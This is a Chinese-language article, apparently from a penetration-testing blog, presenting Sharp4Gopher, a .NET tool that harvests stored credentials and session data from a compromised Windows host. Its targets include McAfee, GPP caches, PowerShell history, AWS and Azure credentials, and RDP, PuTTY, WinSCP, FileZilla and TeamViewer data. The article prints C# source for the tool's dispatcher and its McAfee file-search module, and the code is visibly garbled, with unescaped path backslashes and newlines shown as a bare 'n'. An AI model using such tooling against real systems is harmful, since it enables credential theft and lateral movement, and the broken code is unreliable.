.NET 一款内网收集10种应用凭据的工具

阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他方面

基本介绍

在内网渗透阶段，获取目标主机上的用户凭据是一项关键任务。为此，红队人员不断推出各种工具来实现这一需求。本文将介绍一款名为 Sharp4Gopher 的工具，它可以从目标主机上提取多种类型的用户凭据，包括 McAfee、GPP 缓存文件、PowerShell 历史记录、AWS 和 Azure 凭证，以及 RDP、PuTTY、WinSCP、FileZilla、TeamViewer 等配置和会话数据。

使用方法

Sharp4Gopher 该工具没有其他的参数，直接运行即可，默认核心功能是依次通过调用各种模块来提取和收集目标主机上的敏感数据。支持以下10个常见应用，具体如下所示。

McAfee 凭据提取
GPP 缓存文件 提取
PowerShell 历史记录 提取
AWS 凭证提取
Azure 凭证提取
RDP 会话数据提取
PuTTY 会话数据提取
WinSCP 会话数据提取
FileZilla 会话数据提取
TeamViewer 配置和会话数据提取

编码实现

以下是 Sharp4Gopher 的主要功能实现代码，通过调用各种子模块来执行具体的数据提取任务，具体代码如下所示。

private static string DigLikeThereIsNoTomorrow()
{
    bool isHighIntegrity = Utils.IsHighIntegrity();
    string text = "";
    text += McAfee.Dig(isHighIntegrity);
    text += GPP.Dig();
    text += Unattended.Dig();
    text += PSReadLine.Dig(isHighIntegrity);
    text += AWS.Dig(isHighIntegrity);
    text += Azure.Dig(isHighIntegrity);
    text += GCP.Dig(isHighIntegrity);
    text += RDP.Dig(isHighIntegrity);
    text += PuTTY.Dig(isHighIntegrity);
    text += SuperPuTTY.Dig(isHighIntegrity);
    text += WinSCP.Dig(isHighIntegrity);
    text += FileZilla.Dig(isHighIntegrity);
    text += VNC.Dig(isHighIntegrity);
    text += TeamViewer.Dig();
    if (string.IsNullOrEmpty(text))
    {
        return "nDid not find anything :(n";
    }
    return text;
}

在上述代码中，DigLikeThereIsNoTomorrow 方法调用了多个子模块（如 McAfee.Dig、GPP.Dig 等）来提取各种数据。这些子模块分别处理特定类型的凭据和配置文件。例如，下面是 McAfee 凭据提取模块的实现代码。

internal class McAfee
{
    public static string Dig(bool isHighIntegrity)
    {
        string text = "";
        List<string> list = new List<string>();
        List<string> list2 = new List<string>
        {
            "C:\ProgramData\",
            "C:\Program Files\",
            "C:\Program Files (x86)\"
        };
        if (isHighIntegrity)
        {
            list2.Add("C:\Users\");
        }
        else
        {
            list2.Add(string.Format("C:\Users\{0}\", Environment.GetEnvironmentVariable("USERNAME")));
        }
        foreach (string path in list2)
        {
            list.AddRange(Utils.FindFiles(path, "SiteList.xml"));
            list.AddRange(Utils.FindFiles(path, "SiteMgr.xml"));
        }
        foreach (string arg in list)
        {
            if (string.IsNullOrEmpty(text))
            {
                text += "n# ---- McAfee repository list files ---- #n|n";
            }
            text += string.Format("|   {0}n", arg);
        }
        if (!string.IsNullOrEmpty(text))
        {
            text += "|n# ---- #n";
        }
        return text;
    }
}